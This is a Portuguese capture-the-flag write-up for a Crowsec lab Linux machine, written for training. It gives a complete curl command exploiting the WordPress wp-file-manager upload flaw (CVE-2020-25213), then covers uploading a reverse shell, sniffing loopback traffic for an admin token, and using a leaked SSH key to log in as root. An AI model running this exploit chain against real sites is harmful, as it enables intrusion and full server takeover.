Resolução da maquina File Manager do laboratório da Crowsec.
|
|
A máquina File Manager está disponível no laboratório da Crowsec, para ter acesso a esta máquina é necessário ser aluno do Webhacking-na-pratica 2.0.
A máquina está classificada como nível Médio e seu sistema operacional é Linux.
A primeira etapa é fazer o reconhecimento dos serviços executado na máquina.
Utilizei o Nmap para este propósito, com o comando:
nmap -sV -v <IP>
Resultado:
|
|
Iniciei o reconhecimento da aplicação web.
|
|
Pagina inicial era o index do apache2.
Então, executei o wfuzz para descobrir arquivos e diretórios disponíveis no servidor web.
Executei o wfuzz com o comando:
wfuzz -c -z file,common.txt --hc 404 http://<IP>/FUZZ
Resultado:
|
|
Possivelmente, um sistema Wordpress sendo executado.
Para confirmar tentei acessar o /wordpress/wp-admin, o resutado:
|
|
Confirmei a existência do Wordpress.
Para fazer um reconhecimento do Wordpress, executei o wpscan com o comando:
wpscan --url http://10.9.2.14/wordpress/ -e ap --plugins-detection aggressive -t 100
A saída da ferramenta é muito extensa, então mostrarei o mais importante que encontrei, um plugin desatualizado e vulnerável(CVE 2020-25213) instalado no Wordpress.
|
|
Criei um arquivo /tmp/phpinfo.php,
com o conteúdo:
|
|
Executei o comando:
curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@ //tmp/phpinfo.php" "http://IP/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
Acessei o phpinfo.php através do caminho: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/phpinfo.php
Eeee
|
|
RFI(Remote File Inclusion) confirmado!!
Configurei uma reverse shell em php com meu ip e porta:
|
|
Salvei e fiz o mesmo processo para enviar o arquivo para o servidor.
Configurei o netcat para escutar na porta 443
|
|
E acessei a reverse shell no servidor: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php
Eee
|
|
Shell!!
|
|
Executei o comando :
netstat -lnvp
resultado:
|
|
Tinha um serviço escutando na porta 1027, executei o tcpdump para capturar os pacotes que estão trafegando nessa porta.
tcpdump -i lo port 1027 -c 10 -A -vvv
depois de um tempo capturando os pacotes, obtive o seguinte resultado:
|
|
Com essas informações, executei o curl com o comando:
curl http://localhost:1027/?admin=66e9bb20c93218fe2b82cccb70cd3519
Resultado:
|
|
Obtive uma chave privada do ssh.
|
|
Criei um arquivo chamado id_rsa e salve a chave, configurei a permissão para 400 e executei o comando:
ssh -i id_rsa root@10.9.2.14.
Eeeee
|
|
root!!!
|
|
cat /flag.txt
|
|
cat /root.txt
|
|
|
|
Até a próxima :D